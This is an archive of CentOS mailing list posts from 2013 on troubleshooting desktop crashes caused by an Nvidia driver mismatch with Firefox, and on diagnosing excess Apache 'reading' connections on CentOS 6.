On Mon, 15 Apr 2013 13:38:27 -0600, Frank Cox wrote: Your desktop is crashing, not the entire machine. Try renaming ~/.mozilla to something else, then run firefox and see if it still crashes. Ah, that makes sense that the os isn't crashing, but that the Desktop is. I tried with Chrome, and, guess what? No crash. Then I uninstalled Firefox the Tor Browser Bundle (TBB), both of which use Firefox, and I removed the ~/.mozilla directory. $ sudo yum remove firefox I re-installed Firefox, and it crashed the desktop again: $ sudo yum install firefox So, now I'm using Chrome (but I prefer Firefox). I must admit I had Firefox honed for protection, with noscript, ghostery, user-agent switcher, dns-flusher, etc. So, maybe those addons were causing the problem (but I did not add anything recently). QUESTION: Is there a Desktop crash log somewhere? ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] My linux keeps logging me off when I run Firefox (how to debug)?
On Mon, 15 Apr 2013 19:07:46 -0400, Fred Smith wrote: Do you have an NVIDIA graphics card? Yes, I do. And, come to think of it, I did recently run a yum update. Maybe the El Repo Nvidia driver has a problem with Firefox? I remember it was miserable installing the Nvidia driver a while ago... Looking at my log file, here's how I had installed the Nvidia driver from the El Repo repository: 1. I identified my kernel version: $ uname -r == 2.6.32-279.5.1.el6.x86_64 2. I identified my graphics card $ /sbin/lspci -nn | grep VGA ==01:00.0 VGA compatible controller [0300]: NVIDIA Corporation GT216 [Quadro FX 880M] [10de:0a3c] (rev a2) 3. I identified the latest version of the graphics driver available: http://www.nvidia.com/object/linux-display-amd64-304.37-driver.html Note: I compared this latest version support information with the latest available at El Repo in the next step. 4. I compared the Nvidia version with the latest available El Repo version: http://elrepo.org/tiki/Driver+Versions Note: I searched for nvidia to find the latest version to be nvidia 295.40. 5. I enabled the El Repo repository: $ sudo rpm --import http://elrepo.org/RPM-GPG-KEY-elrepo.org $ sudo rpm -Uvh http://elrepo.org/elrepo-release-6-4.el6.elrepo.noarch.rpm 5. I installed the latest Nvidia driver from the El Repo repository: $ sudo yum --enablerepo elrepo install kmod-nvidia $ sudo yum --disablerepo=\* --enablerepo=elrepo install nvidia-x11-drv-32bit if yes, are you using the driver package directly from NVIDIA (as opposed to one of the RPM versions from, e.g., epel, or wherever... I'm using the one from El Repo. I've had what you describe happen to me under those circumstances. The nvidia drivers replace some system library, and now and then (not too often, in my experience, in fact pretty rarely) that system lib gets updated, threby trashing the Nvidia replacement. Come to think of it, I 'did' recently run a yum update! When that happens, firing up firefox will kill X, dropping you back to the login. if that sounds like what you see, just go rerun the nvidia installer, then you should be working again. So, you suggest I install the Nvidia drivers directly from Nvidia and not the Nvidia drivers from the El Repo repository? Note: I'm not sure I know how to do that. ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] My linux keeps logging me off when I run Firefox (how to debug)?
On Tue, 16 Apr 2013 00:30:15 + (UTC) Rock rocksock...@gmail.com wrote: So, you suggest I install the Nvidia drivers directly from Nvidia and not the Nvidia drivers from the El Repo repository? Note: I'm not sure I know how to do that. I too would suggest that you install the Nvidia drivers from the Nvidia site. That is what I do. You will need to install the kernel headers in order to install the drivers from Nvidia site. Then make the Nvidia driver executable and run it. Follow the instruction, which are not much and you good to go. Also be aware every time you upgrade the kernel you are going to have to install the driver new again. -- Regards Robert Linux The adventure of a lifetime. Linux User #296285 Get Counted http://linuxcounter.net/ ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] Apache Issue on CentOS 6
Anyone got any idea? On Mon, Apr 8, 2013 at 11:14 AM, linuxsupport lin.supp...@gmail.com wrote: I was not able to reproduce it while sending so many requests from ab or any other tool, it only appears when requests come from browser, I had posted this question to Apache users as well and someone told that it is due to Chrome uses preconnection, though this feature was available on Chrome since version 7, till kernel version 2.6.31.14 these preconnection requests were not coming to Apache status page but from 2.6.32 they started appearing on Apache status. Following thread also talks about preconnection https://code.google.com/p/chromium/issues/detail?id=85229 On Mon, Apr 8, 2013 at 10:37 AM, Banyan He ban...@rootong.com wrote: Yes, they do because I'm using slow access to attack my servers. To your environment, you can use tcpdump to capture one connection to check if it's the slow access attack. If it's an attack, we focus on fixing that part. If it's the code problem, then, we can get back to the httpd daemon checking what it goes wrong. Banyan He Blog: http://www.rootong.com Email: ban...@rootong.com On 4/8/2013 1:03 PM, linuxsupport wrote: your both el5 and el6 Apache status show lots of R -- Reading On Mon, Apr 8, 2013 at 10:24 AM, Banyan He ban...@rootong.com wrote: I did a quick test on el5 and el6 with these package, httpd-2.2.3-43.el5.centos httpd-2.2.15-15.el6.centos.1.i686 I kept the configuration as what it is in default. The index page is about 7k, 100 connections per second. I barely find the connection is marked as R. Mostly C and _. This is done by ab from httpd. I also did a quick test with slow attack. It's basically slowing the client itself to collect the data from the server. I did 200 connections per second. My server is ok seems. A little bit slow, but not too much. el5 CWS. el6 RRRCCCCRWCWCCWWCCC.. I also did the capture on the network traffic that I can find out the connections are doing something bad. You may follow the lead here as I mentioned. Banyan He Blog: http://www.rootong.com Email: ban...@rootong.com On 4/7/2013 12:23 AM, linuxsupport wrote: There is no problem with the hardware, If I installed CentOS 5 then it works well, at a time out of total 44 concurrent requests 34 were in reading state On Sat, Apr 6, 2013 at 2:03 PM, Banyan He ban...@rootong.com wrote: I went to the source code to check this. Seems like it's used for against the slow request attack from the rate. There is a timeout and rate set for header and body. I'd keep that thought, capture one connection from tcpdump seeing if they are doing something bad. If not, you seem need a new server balancing the traffic. Banyan He Blog: http://www.rootong.com Email: ban...@rootong.com On 4/6/2013 3:06 PM, linuxsupport wrote: I have already checked but all requests are from different IP's and even different subnet When there are less requests it works ok even if there are more than 60% reading requests but during peak time when concurrent requests goes beyond 150, due to reading requests it becomes 300+ requests processing at the same time and that then Apache stop responding as maxclient is set to 300. CPU load also goes up and thing become very slow. On Sat, Apr 6, 2013 at 10:33 AM, Banyan He ban...@rootong.com wrote: I'd recommend you to sort out the connections. Find out if they are coming from the same client or the same subnet of the clients. Doing a simple tcpdump capture to analyze the data seeing if it's a good R or a bad R. Don't really think it's because of the version. Banyan He Blog: http://www.rootong.com Email: ban...@rootong.com On 4/6/2013 12:24 PM, linuxsupport wrote: I am facing a problem with Apache on CentOS 6 Apache 2.2.19 is complied from source. I see so many reading requests in Apache status page, as per my previous experience this reading request issue mainly comes when any of the internet route having any problem and it request takes time to completely reach to Apache, but this time there is no network issue. I have ran same setup on CentOS 5 it works well, but on CentOS 6 it show 60%+ reading requests, web site has 20-25 requests per second that becomes 80+ I also tried to upgrade Apache to 2.2.24 but it is same on new version as well. Anyone else has experienced this issue?
Re: [CentOS] My linux keeps logging me off when I run Firefox (how to debug)?
On Tue, 16 Apr 2013 00:21:33 +, Rock wrote: Is there a Desktop crash log somewhere? Given that the advice was that X was crashing due to Nvidia driver mismatch problems after my yum update, I took a look at the ~/.xsession-errors log file before and after the crash. And, you seem to be correct: The xsession is crashing when using Firefox (but not Chrome): Window manager warning: Fatal IO error 11 (Resource temporarily unavailable) on display ':0'. nautilus: Fatal IO error 11 (Resource temporarily unavailable) on X server :0. polkit-gnome-authentication-agent-1: Fatal IO error 11 (Resource temporarily unavailable) on X server :0. nm-applet: Fatal IO error 11 (Resource temporarily unavailable) on X server :0. rhythmbox: Fatal IO error 11 (Resource temporarily unavailable) on X server :0. gpk-update-icon: Fatal IO error 11 (Resource temporarily unavailable) on X server :0. pan: Fatal IO error 11 (Resource temporarily unavailable) on X server :0.0. gnome-screensaver: Fatal IO error 11 (Resource temporarily unavailable) on X server :0. gdu-notification-daemon: Fatal IO error 11 (Resource temporarily unavailable) on X server :0. gnome-terminal: Fatal IO error 104 (Connection reset by peer) on X server :0.0. [14555:14555:0415/175602:ERROR:chrome_browser_main_x11.cc(62)] X IO error received (X server probably went away) ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] My linux keeps logging me off when I run Firefox (how to debug)?
On Mon, 15 Apr 2013 20:50:12 -0400, Robert wrote: I too would suggest that you install the Nvidia drivers from the Nvidia site. That is what I do. You will need to install the kernel headers in order to install the drivers from Nvidia site. Thanks for the advice to install the Nvidia drivers. I'm just about to reboot, so, before I forget the details, here's my log file, sufficient for the next person to follow (including myself) in the future: I had to re-install Firefox to prove that the desktop was crashing: $ sudo yum install firefox == firefox.x86_64 0:17.0.5-1.el6.centos I cleared the ~/.xsession-errors file so that I could start fresh: $ mv ~/.xsession-errors /tmp/xsession_before I rebooted so as to start a fresh xsession: $ sudo reboot I ran Firefox until the Desktop crashes again: $ firefox (it didn't take long for the Desktop to crash) I logged back into the Desktop and compared the xsession logs: $ cp ~/.xsession-errors /tmp/xsession_after $ diff /tmp/xsession_before /tmp/xsession_after Found lots of stuff, for example: == Window manager warning: Fatal IO error 11 (Resource temporarily unavailable) == nautilus: Fatal IO error 11 (Resource temporarily unavailable) on X server :0. etc. So, it's now time to update the graphics card driver. Identify your kernel: $ uname -r == 2.6.32-358.2.1.el6.x86_64 Identify your graphics card: $ /sbin/lspci -nn | grep VGA == 01:00.0 VGA compatible controller [0300]: NVIDIA Corporation GT216 [Quadro FX 880M] [10de:0a3c] (rev a2) Identify the installed version of Nvidia drivers: $ $ sudo updatedb; locate libvdpau_nvidia.so == /usr/lib/vdpau/libvdpau_nvidia.so.304.37 == /usr/lib64/vdpau/libvdpau_nvidia.so.304.37 Go to Nvidia support: http://www.nvidia.com/page/support.html Press on Download Drivers (that brings you to): http://www.nvidia.com/Download/.aspx?lang=en-us Enter the following information: - Product Type: Quadro - Product Series: Quadro FX Series (Notebooks) == important to get right! - Product: Quadro FX 880M - Operating System: Linux 64-bit - Download Type: Linux Long Lived Driver - Language: English (US) Press the Search button (that brings you to): == http://www.nvidia.com/object/linux-display-amd64-310.44-driver.html - Version: 310.44 - Release Date: 2013.04.02 - Operating System: Linux 64-bit - Language: English (U.S.) - File Size: 65.2 MB Press the Download button (save the file but don't install it). Compare the Nvidia version with the version at the El Repo repository: http://elrepo.org/tiki/Driver+Versions Search for nvidia to find the latest version, which is: - Kmod Package: nvidia - ElRepo Kmod Version: 310.44 Since the El Repo version is up to date, let's use it: Enable the El Repo repository (if not already installed): $ sudo rpm --import http://elrepo.org/RPM-GPG-KEY-elrepo.org $ sudo rpm -Uvh http://elrepo.org/elrepo-release-6-4.el6.elrepo.noarch.rpm Note: Skip this step if El Repo is already enabled. Install that latest version from the El Repo repository (do not use ATrpms!): $ sudo yum --enablerepo elrepo install kmod-nvidia $ sudo yum --disablerepo=\* --enablerepo=elrepo install nvidia-x11-drv-32bit == Updated: kmod-nvidia.x86_64 0:310.44-1.el6.elrepo == Dependency Updated: nvidia-x11-drv.x86_64 0:310.44-1.el6.elrepo == Dependency Updated: nvidia-x11-drv-32bit.x86_64 0:310.44-1.el6.elrepo Or, if you want the absolute latest in the El Repo testing repository: $ sudo yum --enablerepo elrepo-testing install kmod-nvidia $ sudo yum --disablerepo=\* --enablerepo=elrepo-testing install nvidia-x11-drv-32bit Test if you have installed the desired driver: $ $ sudo updatedb; locate libvdpau_nvidia.so == /usr/lib/vdpau/libvdpau_nvidia.so.310.44 == /usr/lib64/vdpau/libvdpau_nvidia.so.310.44 Reboot. ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos